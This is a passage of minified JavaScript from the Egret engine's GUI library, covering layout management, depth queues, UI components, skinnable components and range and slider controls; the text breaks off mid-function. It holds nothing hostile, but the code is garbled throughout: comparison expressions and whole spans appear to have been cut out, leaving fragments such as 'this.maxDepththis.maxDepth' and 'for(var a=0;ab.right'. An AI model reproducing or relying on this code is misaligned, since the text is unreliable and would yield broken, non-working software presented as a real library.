(d.validateSize(),d.updateCompletePendingFlag||(this.updateCompleteQueue.insert(d),d.updateCompletePendingFlag=!0));if(this.invalidateClientPropertiesFlag&&(d=this.invalidatePropertiesQueue.removeSmallestChild(b))){this.invalidatePropertiesQueue.insert(d);e=!1;break}d=this.invalidateSizeQueue.removeLargestChild(b)}this.invalidateSizeQueue.isEmpty()&&(this.invalidateSizeFlag=!1);this.invalidateClientSizeFlag=this.invalidateClientPropertiesFlag=!1;if(!a){for(d=this.invalidateDisplayListQueue.removeSmallestChild(b);d;){d.parent&& (d.validateDisplayList(),d.updateCompletePendingFlag||(this.updateCompleteQueue.insert(d),d.updateCompletePendingFlag=!0));if(this.invalidateClientPropertiesFlag&&(d=this.invalidatePropertiesQueue.removeSmallestChild(b))){this.invalidatePropertiesQueue.insert(d);e=!1;break}if(this.invalidateClientSizeFlag&&(d=this.invalidateSizeQueue.removeLargestChild(b))){this.invalidateSizeQueue.insert(d);e=!1;break}d=this.invalidateDisplayListQueue.removeSmallestChild(b)}this.invalidateDisplayListQueue.isEmpty()&& (this.invalidateDisplayListFlag=!1)}}if(f==Number.MAX_VALUE&&(this.targetLevel=Number.MAX_VALUE,!a))for(d=this.updateCompleteQueue.removeLargestChild(b);d;)d.initialized||(d.initialized=!0),d.hasEventListener(c.UIEvent.UPDATE_COMPLETE)&&c.UIEvent.dispatchUIEvent(d,c.UIEvent.UPDATE_COMPLETE),d.updateCompletePendingFlag=!1,d=this.updateCompleteQueue.removeLargestChild(b)};return a}(c.EventDispatcher);c.LayoutManager=e})(egret||(egret={})); (function(c){var e=function(){function a(){this.depthBins=[];this.minDepth=0;this.maxDepth=-1}a.prototype.insert=function(b){var a=b.nestLevel,c=b.hashCode;this.maxDepththis.maxDepth&&(this.maxDepth=a));var e=this.depthBins[a];e?null==e.items[c]&&(e.items[c]=b,e.length++):(e=new d,this.depthBins[a]=e,e.items[c]=b,e.length++)};a.prototype.pop=function(){var b=null;if(this.minDepth<=this.maxDepth){for(var a=this.depthBins[this.maxDepth];!a|| 0==a.length;){this.maxDepth--;if(this.maxDepththis.maxDepth)return null;a=this.depthBins[this.minDepth]}var c= a.items,d;for(d in c){b=c[d];this.remove(b,this.minDepth);break}for(;!a||0==a.length;){this.minDepth++;if(this.minDepth>this.maxDepth)break;a=this.depthBins[this.minDepth]}}return b};a.prototype.removeLargestChild=function(b){for(var a=this.maxDepth,d=b.nestLevel,e=b.hashCode;d<=a;){var f=this.depthBins[a];if(f&&0this.maxDepth)break}return null};a.prototype.remove=function(b,a){"undefined"===typeof a&&(a=-1);var c=b.hashCode,d=this.depthBins[0<=a?a:b.nestLevel];return d&&null!=d.items[c]?(delete d.items[c],d.length--,b):null};a.prototype.removeAll=function(){this.minDepth=this.depthBins.length=0;this.maxDepth=-1};a.prototype.isEmpty=function(){return this.minDepth>this.maxDepth};return a}();c.DepthQueue=e;var d=function(){return function(){this.length=0;this.items=[]}}();c.DepthBin=d})(egret||(egret= {}));(function(c){var e=function(){function d(){}Object.defineProperty(d,"stage",{get:function(){return d._stage},enumerable:!0,configurable:!0});d._initlize=function(a){d.initlized||(d._stage=a,d._layoutManager=new c.LayoutManager,d.initlized=!0)};Object.defineProperty(d,"uiStage",{get:function(){return d._uiStage},enumerable:!0,configurable:!0});d.initlized=!1;return d}();c.UIGlobals=e})(egret||(egret={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.call(this);this.initializeCalled=this._initialized=this._updateCompletePendingFlag=!1;this._nestLevel=0;this._enabled=!0;this._minWidth=this._height=this._width=0;this._maxWidth=1E4;this._minHeight=0;this._maxHeight=1E4;this._measuredHeight=this._measuredWidth=0;this._validateNowFlag=this._invalidateDisplayListFlag=this._invalidateSizeFlag=this._invalidatePropertiesFlag=!1;this._includeInLayout=!0;this._layoutHeightExplicitlySet=this._layoutWidthExplicitlySet= !1;this.touchEnabled=!0;this.addEventListener(c.Event.ADDED_TO_STAGE,this.onAddedToStage,this);this.addEventListener(c.Event.ADDED_TO_STAGE,this.checkInvalidateFlag,this)}__extends(a,d);a.prototype.onAddedToStage=function(b){this.removeEventListener(c.Event.ADDED_TO_STAGE,this.onAddedToStage,this);this._initialize();c.UIGlobals._initlize(this.stage);0this.maxWidth&&(this.measuredWidth=this.maxWidth),this.measuredHeightthis.maxHeight&&(this.measuredHeight= this.maxHeight));if(isNaN(this._oldPreferWidth))this._oldPreferWidth=this.preferredWidth,this._oldPreferHeight=this.preferredHeight,b=!0;else{if(this.preferredWidth!=this._oldPreferWidth||this.preferredHeight!=this._oldPreferHeight)b=!0;this._oldPreferWidth=this.preferredWidth;this._oldPreferHeight=this.preferredHeight}return b};a.prototype.invalidateDisplayList=function(){this._invalidateDisplayListFlag||(this._invalidateDisplayListFlag=!0,this.parent&&c.UIGlobals._layoutManager&&c.UIGlobals._layoutManager.invalidateDisplayList(this))}; a.prototype.validateDisplayList=function(){if(this._invalidateDisplayListFlag){var b=0,a=0,b=this._layoutWidthExplicitlySet?this._width:isNaN(this.explicitWidth)?this.measuredWidth:this._explicitWidth,a=this._layoutHeightExplicitlySet?this._height:isNaN(this.explicitHeight)?this.measuredHeight:this._explicitHeight;isNaN(b)&&(b=0);isNaN(a)&&(a=0);this.setActualSize(b,a);this.updateDisplayList(b,a);this._invalidateDisplayListFlag=!1}};a.prototype.validateNow=function(b){"undefined"===typeof b&&(b=!1); this._validateNowFlag||null==c.UIGlobals._layoutManager?this._validateNowFlag=!0:c.UIGlobals._layoutManager.validateClient(this,b)};a.prototype.invalidateParentSizeAndDisplayList=function(){if(this.parent&&this._includeInLayout&&"invalidateSize"in this.parent){var b=this.parent;b.invalidateSize();b.invalidateDisplayList()}};a.prototype.updateDisplayList=function(b,a){};a.prototype.canSkipMeasurement=function(){return!isNaN(this._explicitWidth)&&!isNaN(this._explicitHeight)};a.prototype.commitProperties= function(){this.oldWidth==this._width&&this.oldHeight==this._height||this.dispatchResizeEvent();this.oldX==this.x&&this.oldY==this.y||this.dispatchMoveEvent()};a.prototype.measure=function(){this._measuredWidth=this._measuredHeight=0};a.prototype.dispatchMoveEvent=function(){this.hasEventListener(c.MoveEvent.MOVE)&&c.MoveEvent.dispatchMoveEvent(this,this.oldX,this.oldY);this.oldX=this.x;this.oldY=this.y};a.prototype._childXYChanged=function(){};a.prototype.dispatchResizeEvent=function(){this.hasEventListener(c.ResizeEvent.RESIZE)&& c.ResizeEvent.dispatchResizeEvent(this,this.oldWidth,this.oldHeight);this.oldWidth=this._width;this.oldHeight=this._height};Object.defineProperty(a.prototype,"includeInLayout",{get:function(){return this._includeInLayout},set:function(b){this._includeInLayout!=b&&(this._includeInLayout=!0,this.invalidateParentSizeAndDisplayList(),this._includeInLayout=b)},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"left",{get:function(){return this._left},set:function(b){this._left!=b&&(this._left= b,this.invalidateParentSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"right",{get:function(){return this._right},set:function(b){this._right!=b&&(this._right=b,this.invalidateParentSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"top",{get:function(){return this._top},set:function(b){this._top!=b&&(this._top=b,this.invalidateParentSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype, "bottom",{get:function(){return this._bottom},set:function(b){this._bottom!=b&&(this._bottom=b,this.invalidateParentSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"horizontalCenter",{get:function(){return this._horizontalCenter},set:function(b){this._horizontalCenter!=b&&(this._horizontalCenter=b,this.invalidateParentSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"verticalCenter",{get:function(){return this._verticalCenter}, set:function(b){this._verticalCenter!=b&&(this._verticalCenter=b,this.invalidateParentSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"percentWidth",{get:function(){return this._percentWidth},set:function(b){this._percentWidth!=b&&(this._percentWidth=b,this.invalidateParentSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"percentHeight",{get:function(){return this._percentHeight},set:function(b){this._percentHeight!= b&&(this._percentHeight=b,this.invalidateParentSizeAndDisplayList())},enumerable:!0,configurable:!0});a.prototype.setLayoutBoundsSize=function(b,a){isNaN(b)?(this._layoutWidthExplicitlySet=!1,b=this.preferredWidth):this._layoutWidthExplicitlySet=!0;isNaN(a)?(this._layoutHeightExplicitlySet=!1,a=this.preferredHeight):this._layoutHeightExplicitlySet=!0;this.setActualSize(b/this._scaleX,a/this._scaleY)};a.prototype.setLayoutBoundsPosition=function(b,a){0>this._scaleX&&(b+=this.layoutBoundsWidth);0>this._scaleY&& (a+=this.layoutBoundsHeight);var c=!1;this._x!=b&&(this._x=b,c=!0);this._y!=a&&(this._y=a,c=!0);c&&this.dispatchMoveEvent()};Object.defineProperty(a.prototype,"preferredWidth",{get:function(){var b=this._hasWidthSet?this._explicitWidth:this._measuredWidth,a=this._scaleX;0>a&&(a=-a);return b*a},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"preferredHeight",{get:function(){var b=this._hasHeightSet?this._explicitHeight:this._measuredHeight,a=this._scaleY;0>a&&(a=-a);return b*a}, enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"preferredX",{get:function(){return 0<=this._scaleX?this._x:this._x-this.preferredWidth},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"preferredY",{get:function(){return 0<=this._scaleY?this._y:this._y-this.preferredHeight},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"layoutBoundsX",{get:function(){return 0<=this._scaleX?this._x:this._x-this.layoutBoundsWidth},enumerable:!0,configurable:!0}); Object.defineProperty(a.prototype,"layoutBoundsY",{get:function(){return 0<=this._scaleY?this._y:this._y-this.layoutBoundsHeight},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"layoutBoundsWidth",{get:function(){var b=0,b=this._layoutWidthExplicitlySet?this._width:this._hasWidthSet?this._explicitWidth:this._measuredWidth,a=this._scaleX;0>a&&(a=-a);return b*a},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"layoutBoundsHeight",{get:function(){var b=0,b=this._layoutHeightExplicitlySet? this._height:this._hasHeightSet?this._explicitHeight:this._measuredHeight,a=this.scaleY;0>a&&(a=-a);return b*a},enumerable:!0,configurable:!0});return a}(c.DisplayObjectContainer);c.UIComponent=e})(egret||(egret={}));(function(c){var e=function(){function c(){}c.ABOVE="above";c.BELOW="below";c.CENTER="center";c.TOP_LEFT="topLeft";c.LEFT="left";c.RIGHT="right";return c}();c.PopUpPosition=e})(egret||(egret={})); (function(c){var e=function(){function c(){}c.AUTO="auto";c.OFF="off";c.ON="on";return c}();c.ScrollPolicy=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(c){function a(b){"undefined"===typeof b&&(b=null);c.call(this);this.generator=b}__extends(a,c);a.prototype.newInstance=function(){return new this.generator};return a}(c.HashObject);c.ClassFactory=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(c){function a(){c.call(this)}__extends(a,c);a.prototype.initialize=function(b){};a.prototype.apply=function(b){};a.prototype.remove=function(b){};a.prototype.initializeFromObject=function(b){for(var a in b)this[a]=b[a];return this};return a}(c.HashObject);c.OverrideBase=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(b,c,e,k){d.call(this);this.propertyName="";this.position=a.LAST;this.target=b;this.propertyName=c;this.position=e;this.relativeTo=k}__extends(a,d);a.prototype.initialize=function(b){if((b=b[this.target])&&!(b instanceof c.SkinnableComponent)&&"_initialize"in b)try{b._initialize()}catch(a){}};a.prototype.apply=function(b){var c,d;try{d=b[this.relativeTo]}catch(e){}var f=b[this.target];b=this.propertyName?b[this.propertyName]:b;if(f&&b){switch(this.position){case a.FIRST:c= 0;break;case a.LAST:c=-1;break;case a.BEFORE:c=b.getElementIndex(d);break;case a.AFTER:c=b.getElementIndex(d)+1}-1==c&&(c=b.numElements);b.addElementAt(f,c)}};a.prototype.remove=function(b){var a=null==this.propertyName||""==this.propertyName?b:b[this.propertyName];(b=b[this.target])&&a&&-1!=a.getElementIndex(b)&&a.removeElement(b)};a.FIRST="first";a.LAST="last";a.BEFORE="before";a.AFTER="after";return a}(c.OverrideBase);c.AddItems=e})(egret||(egret={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(c){function a(b,a,e){c.call(this);this.target=b;this.name=a;this.value=e}__extends(a,c);a.prototype.apply=function(b){b=null==this.target||""==this.target?b:b[this.target];null!=b&&(this.oldValue=b[this.name],this.setPropertyValue(b,this.name,this.value,this.oldValue))};a.prototype.remove=function(b){b=null==this.target||""==this.target?b:b[this.target];null!=b&&(this.setPropertyValue(b,this.name,this.oldValue,this.oldValue),this.oldValue=null)};a.prototype.setPropertyValue= function(b,a,c,d){b[a]=void 0===c||null===c?c:"boolean"==typeof d?this.toBoolean(c):c};a.prototype.toBoolean=function(b){return"string"==typeof b?"true"==b.toLowerCase():!1!=b};return a}(c.OverrideBase);c.SetProperty=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(c){function a(b,a){c.call(this);this.initialized=!1;this.name=b;this.overrides=a}__extends(a,c);a.prototype.initialize=function(b){if(!this.initialized){this.initialized=!0;for(var a=0;ab.right&&(b.right=f+e);a+k>b.bottom&&(b.bottom=a+k)}return b};a.prototype.addChild=function(b){throw Error("addChild()"+a.errorStr+"addElement()\u4ee3\u66ff"); };a.prototype.addChildAt=function(b,c){throw Error("addChildAt()"+a.errorStr+"addElementAt()\u4ee3\u66ff");};a.prototype.removeChild=function(b){throw Error("removeChild()"+a.errorStr+"removeElement()\u4ee3\u66ff");};a.prototype.removeChildAt=function(b){throw Error("removeChildAt()"+a.errorStr+"removeElementAt()\u4ee3\u66ff");};a.prototype.setChildIndex=function(b,c){throw Error("setChildIndex()"+a.errorStr+"setElementIndex()\u4ee3\u66ff");};a.prototype.swapChildren=function(b,c){throw Error("swapChildren()"+ a.errorStr+"swapElements()\u4ee3\u66ff");};a.prototype.swapChildrenAt=function(b,c){throw Error("swapChildrenAt()"+a.errorStr+"swapElementsAt()\u4ee3\u66ff");};a.errorStr="\u5728\u6b64\u7ec4\u4ef6\u4e2d\u4e0d\u53ef\u7528\uff0c\u82e5\u6b64\u7ec4\u4ef6\u4e3a\u5bb9\u5668\u7c7b\uff0c\u8bf7\u4f7f\u7528";return a}(c.UIComponent);c.UIAsset=e})(egret||(egret={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.call(this);this.hostComponentKey="egret.SkinnableComponent";this.stateIsDirty=this.createChildrenCalled=this._skinNameExplicitlySet=!1;this.explicitMouseEnabled=this.explicitMouseChildren=this._autoMouseEnabled=!0}__extends(a,d);Object.defineProperty(a.prototype,"skinName",{get:function(){return this._skinName},set:function(b){this._skinName!=b&&(this._skinName=b,this._skinNameExplicitlySet=!0,this.createChildrenCalled&&this.parseSkinName())},enumerable:!0, configurable:!0});Object.defineProperty(a.prototype,"skin",{get:function(){return this._skin},enumerable:!0,configurable:!0});a.prototype.createChildren=function(){d.prototype.createChildren.call(this);this.parseSkinName();this.createChildrenCalled=!0};a.prototype.parseSkinName=function(){var b=a.skinAdapter;b||(b=this.getSkinAdapter());var b=b.getSkin(this._skinName,this.hostComponentKey),d=this._skin;this.detachSkin(d);d instanceof c.DisplayObject&&this._removeFromDisplayList(d);this._skin=b;b instanceof c.DisplayObject&&this._addToDisplayListAt(this._skin,0);this.attachSkin(b);this.invalidateSkinState();this.invalidateSize();this.invalidateDisplayList();this.hasEventListener(c.UIEvent.SKIN_CHANGED)&&c.UIEvent.dispatchUIEvent(this,c.UIEvent.SKIN_CHANGED)};a.prototype.getSkinAdapter=function(){var b;try{b=c.Injector.getInstance("egret.ISkinAdapter")}catch(d){b=new c.DefaultSkinAdapter}return a.skinAdapter=b};a.prototype.attachSkin=function(b){b&&"hostComponent"in b&&(b.hostComponent=this,this.findSkinParts()); b&&"hostComponent"in b&&b instanceof c.DisplayObject?this._setSkinLayoutEnabled(!1):this._setSkinLayoutEnabled(!0)};a.prototype.findSkinParts=function(){var b=this._skin;if(b&&"skinParts"in b)for(var a=b.skinParts,c=a.length,d=0;db.maxWidth&&(a=b.maxWidth),b.hasOwnProperty("minHeight")&&eb.maxHeight&&(e=b.maxHeight), this.measuredWidth=a,this.measuredHeight=e}catch(k){}}}};a.prototype.updateDisplayList=function(b,a){d.prototype.updateDisplayList.call(this,b,a);var e=this._skin;e&&("setLayoutBoundsSize"in e?e.setLayoutBoundsSize(b,a):e instanceof c.DisplayObject&&(e.scaleX=0==e.width?1:b/e.width,e.scaleY=0==e.height?1:a/e.height));this.skinLayout&&this.skinLayout.updateDisplayList(b,a)};a.prototype.addChild=function(b){throw Error("addChild()"+a.errorStr+"addElement()\u4ee3\u66ff");};a.prototype.addChildAt=function(b, c){throw Error("addChildAt()"+a.errorStr+"addElementAt()\u4ee3\u66ff");};a.prototype.removeChild=function(b){throw Error("removeChild()"+a.errorStr+"removeElement()\u4ee3\u66ff");};a.prototype.removeChildAt=function(b){throw Error("removeChildAt()"+a.errorStr+"removeElementAt()\u4ee3\u66ff");};a.prototype.setChildIndex=function(b,c){throw Error("setChildIndex()"+a.errorStr+"setElementIndex()\u4ee3\u66ff");};a.prototype.swapChildren=function(b,c){throw Error("swapChildren()"+a.errorStr+"swapElements()\u4ee3\u66ff"); };a.prototype.swapChildrenAt=function(b,c){throw Error("swapChildrenAt()"+a.errorStr+"swapElementsAt()\u4ee3\u66ff");};a.errorStr="\u5728\u6b64\u7ec4\u4ef6\u4e2d\u4e0d\u53ef\u7528\uff0c\u82e5\u6b64\u7ec4\u4ef6\u4e3a\u5bb9\u5668\u7c7b\uff0c\u8bf7\u4f7f\u7528";return a}(c.UIComponent);c.SkinnableComponent=e})(egret||(egret={})); (function(c){var e=function(){function d(){}d.prototype.getSkin=function(a,b){if(!a)return null;if(a.prototype)return new a;if("string"==typeof a){var d=c.getDefinitionByName(a);return d?new d:null}return a};return d}();c.DefaultSkinAdapter=e})(egret||(egret={})); (function(c){var e=function(){function d(){}d.prototype.getAsset=function(a,b,d,e){var k=a;a.prototype&&(k=new a);if(k instanceof c.DisplayObject||k instanceof c.Texture)b.call(d,k,a);else if("string"==typeof a){var f=new c.URLLoader;f.dataFormat=c.URLLoaderDataFormat.TEXTURE;f.addEventListener(c.Event.COMPLETE,function(c){k=f.data;b.call(d,k,a)},this);f.load(new c.URLRequest(a))}else b.call(d,k,a)};return d}();c.DefaultAssetAdapter=e})(egret||(egret={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(c){function a(){c.call(this)}__extends(a,c);Object.defineProperty(a.prototype,"target",{get:function(){return this._target},set:function(b){this._target=b},enumerable:!0,configurable:!0});a.prototype.measure=function(){if(null!=this.target){for(var b=0,a=0,c=this._target.skin,d=this.target.numChildren,e=0;ea)return!1;this._isPlaying|| (this._isPlaying=!0,0==this.playedTimes&&null!=this.startFunction&&this.startFunction.call(this.thisObject,this));var b=0==this._duration?1:Math.min(a,this._duration)/this._duration;this.caculateCurrentValue(b);null!=this.updateFunction&&this.updateFunction.call(this.thisObject,this);if(a=a>=this._duration)this.playedTimes++,this._isPlaying=!1,this.startTime=d.currentTime,0==this._repeatCount||this.playedTimesthis.maximum&&(this.maxChanged?this._maximum=this._minimum:this._minimum=this._maximum);if(this.valueChanged||this.maxChanged||this.minChanged|| this.snapIntervalChanged){var b=this.valueChanged?this._changedValue:this._value;this.snapIntervalChanged=this.minChanged=this.maxChanged=this.valueChanged=!1;this.setValue(this.nearestValidValue(b,this.snapInterval))}this.stepSizeChanged&&(this._explicitSnapInterval?this._stepSize=this.nearestValidSize(this._stepSize):(this._snapInterval=this._stepSize,this.setValue(this.nearestValidValue(this._value,this.snapInterval))),this.stepSizeChanged=!1)};a.prototype.nearestValidSize=function(b){var a=this.snapInterval; if(0==a)return b;b=Math.round(b/a)*a;return Math.abs(b)=(c-e)/2?c:e)/d+this.minimum};a.prototype.setValue=function(b){this._value!=b&& (isNaN(b)&&(b=0),!isNaN(this.maximum)&&!isNaN(this.minimum)&&this.maximum>this.minimum?this._value=Math.min(this.maximum,Math.max(this.minimum,b)):this._value=b,this.valueChanged=!1)};a.prototype.changeValueByStep=function(b){"undefined"===typeof b&&(b=!0);0!=this.stepSize&&this.setValue(this.nearestValidValue(b?this.value+this.stepSize:this.value-this.stepSize,this.snapInterval))};return a}(c.SkinnableComponent);c.Range=e})(egret||(egret={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.call(this);this._slideDuration=300;this.needUpdateValue=!1;this.addEventListener(c.Event.ADDED_TO_STAGE,this.addedToStageHandler,this);this.addEventListener(c.TouchEvent.TOUCH_BEGIN,this.mouseDownHandler,this)}__extends(a,d);Object.defineProperty(a.prototype,"slideDuration",{get:function(){return this._slideDuration},set:function(b){this._slideDuration=b},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"maximum",{get:function(){return this._maximum}, set:function(b){b!=this._maximum&&(this._setMaximun(b),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"minimum",{get:function(){return this._minimum},set:function(b){b!=this._minimum&&(this._setMinimun(b),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"value",{get:function(){return this._getValue()},set:function(b){b!=this._getValue()&&(this._setValue(b),this.invalidateDisplayList())},enumerable:!0, configurable:!0});a.prototype.setValue=function(b){d.prototype.setValue.call(this,b);this.invalidateDisplayList()};a.prototype.pointToValue=function(b,a){return this.minimum};a.prototype.changeValueByStep=function(b){"undefined"===typeof b&&(b=!0);var a=this.value;d.prototype.changeValueByStep.call(this,b);this.value!=a&&this.dispatchEventWith(c.Event.CHANGE)};a.prototype.partAdded=function(b,a){d.prototype.partAdded.call(this,b,a);a==this.thumb?(this.thumb.addEventListener(c.TouchEvent.TOUCH_BEGIN, this.thumb_mouseDownHandler,this),this.thumb.addEventListener(c.ResizeEvent.RESIZE,this.thumb_resizeHandler,this),this.thumb.addEventListener(c.UIEvent.UPDATE_COMPLETE,this.thumb_updateCompleteHandler,this),this.thumb.stickyHighlighting=!0):a==this.track&&(this.track.addEventListener(c.TouchEvent.TOUCH_BEGIN,this.track_mouseDownHandler,this),this.track.addEventListener(c.ResizeEvent.RESIZE,this.track_resizeHandler,this))};a.prototype.partRemoved=function(b,a){d.prototype.partRemoved.call(this,b,a); a==this.thumb?(this.thumb.removeEventListener(c.TouchEvent.TOUCH_BEGIN,this.thumb_mouseDownHandler,this),this.thumb.removeEventListener(c.ResizeEvent.RESIZE,this.thumb_resizeHandler,this),this.thumb.removeEventListener(c.UIEvent.UPDATE_COMPLETE,this.thumb_updateCompleteHandler,this)):a==this.track&&(this.track.removeEventListener(c.TouchEvent.TOUCH_BEGIN,this.track_mouseDownHandler,this),this.track.removeEventListener(c.ResizeEvent.RESIZE,this.track_resizeHandler,this))};a.prototype.updateDisplayList= function(b,a){d.prototype.updateDisplayList.call(this,b,a);this.updateSkinDisplayList()};a.prototype.updateSkinDisplayList=function(){};a.prototype.addedToStageHandler=function(b){this.updateSkinDisplayList()};a.prototype.track_resizeHandler=function(b){this.updateSkinDisplayList()};a.prototype.thumb_resizeHandler=function(b){this.updateSkinDisplayList()};a.prototype.thumb_updateCompleteHandler=function(b){this.updateSkinDisplayList();this.thumb.removeEventListener(c.UIEvent.UPDATE_COMPLETE,this.thumb_updateCompleteHandler, this)};a.prototype.thumb_mouseDownHandler=function(b){c.UIGlobals.stage.addEventListener(c.TouchEvent.TOUCH_MOVE,this.stage_mouseMoveHandler,this);c.UIGlobals.stage.addEventListener(c.TouchEvent.TOUCH_END,this.stage_mouseUpHandler,this);c.UIGlobals.stage.addEventListener(c.Event.LEAVE_STAGE,this.stage_mouseUpHandler,this);this.addEventListener(c.Event.ENTER_FRAME,this.onEnterFrame,this);b=this.thumb.globalToLocal(b.stageX,b.stageY,c.Point.identity);this._clickOffsetX=b.x;this._clickOffsetY=b.y;c.TrackBaseEvent.dispatchTrackBaseEvent(this, c.TrackBaseEvent.THUMB_PRESS);c.UIEvent.dispatchUIEvent(this,c.UIEvent.CHANGE_START)};a.prototype.onEnterFrame=function(b){this.needUpdateValue&&this.track&&(this.updateWhenMouseMove(),this.needUpdateValue=!1)};a.prototype.updateWhenMouseMove=function(){if(this.track){var b=this.track.globalToLocal(this._moveStageX,this._moveStageY,c.Point.identity),b=this.pointToValue(b.x-this._clickOffsetX,b.y-this._clickOffsetY),b=this.nearestValidValue(b,this.snapInterval);b!=this.value&&(this.setValue(b),this.validateDisplayList(), c.TrackBaseEvent.dispatchTrackBaseEvent(this,c.TrackBaseEvent.THUMB_DRAG),this.dispatchEventWith(c.Event.CHANGE))}};a.prototype.stage_mouseMoveHandler=function(b){this._moveStageX=b.stageX;this._moveStageY=b.stageY;this.needUpdateValue||(this.needUpdateValue=!0)};a.prototype.stage_mouseUpHandler=function(b){c.UIGlobals.stage.removeEventListener(c.TouchEvent.TOUCH_MOVE,this.stage_mouseMoveHandler,this);c.UIGlobals.stage.removeEventListener(c.TouchEvent.TOUCH_END,this.stage_mouseUpHandler,this);c.UIGlobals.stage.removeEventListener(c.Event.LEAVE_STAGE, this.stage_mouseUpHandler,this);this.removeEventListener(c.Event.ENTER_FRAME,this.updateWhenMouseMove,this);this.needUpdateValue&&(this.updateWhenMouseMove(),this.needUpdateValue=!1);c.TrackBaseEvent.dispatchTrackBaseEvent(this,c.TrackBaseEvent.THUMB_RELEASE);c.UIEvent.dispatchUIEvent(this,c.UIEvent.CHANGE_END)};a.prototype.track_mouseDownHandler=function(b){};a.prototype.mouseDownHandler=function(b){c.UIGlobals.stage.addEventListener(c.TouchEvent.TOUCH_END,this.stage_mouseUpSomewhereHandler,this); c.UIGlobals.stage.addEventListener(c.Event.LEAVE_STAGE,this.stage_mouseUpSomewhereHandler,this);this.mouseDownTarget=b.target};a.prototype.stage_mouseUpSomewhereHandler=function(b){c.UIGlobals.stage.removeEventListener(c.TouchEvent.TOUCH_END,this.stage_mouseUpSomewhereHandler,this);c.UIGlobals.stage.removeEventListener(c.Event.LEAVE_STAGE,this.stage_mouseUpSomewhereHandler,this);if(this.mouseDownTarget!=b.target&&b instanceof c.TouchEvent&&this.contains(b.target)){var a=b.target.localToGlobal(b.localX, b.localY);c.TouchEvent.dispatchTouchEvent(this,c.TouchEvent.TOUCH_TAP,b.touchPointID,a.x,a.y,b.ctrlKey,b.altKey,b.shiftKey,b.touchDown)}this.mouseDownTarget=null};return a}(c.Range);c.TrackBase=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.call(this);this._showTrackHighlight=!0;this._pendingValue=0;this._liveDragging=!0;this.maximum=10}__extends(a,d);Object.defineProperty(a.prototype,"showTrackHighlight",{get:function(){return this._showTrackHighlight},set:function(b){this._showTrackHighlight!=b&&(this._showTrackHighlight=b,this.trackHighlight&&(this.trackHighlight.visible=b),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"pendingValue", {get:function(){return this._pendingValue},set:function(b){b!=this._pendingValue&&(this._pendingValue=b,this.invalidateDisplayList())},enumerable:!0,configurable:!0});a.prototype.setValue=function(b){this._pendingValue=b;d.prototype.setValue.call(this,b)};a.prototype.animationUpdateHandler=function(b){this.pendingValue=b.currentValue.value};a.prototype.animationEndHandler=function(b){this.setValue(this.slideToValue);this.dispatchEventWith(c.Event.CHANGE);c.UIEvent.dispatchUIEvent(this,c.UIEvent.CHANGE_END)}; a.prototype.stopAnimation=function(){this.animator.stop();this.setValue(this.nearestValidValue(this.pendingValue,this.snapInterval));this.dispatchEventWith(c.Event.CHANGE);c.UIEvent.dispatchUIEvent(this,c.UIEvent.CHANGE_END)};a.prototype.thumb_mouseDownHandler=function(b){this.animator&&this.animator.isPlaying&&this.stopAnimation();d.prototype.thumb_mouseDownHandler.call(this,b)};Object.defineProperty(a.prototype,"liveDragging",{get:function(){return this._liveDragging},set:function(b){this._liveDragging= b},enumerable:!0,configurable:!0});a.prototype.updateWhenMouseMove=function(){if(this.track){var 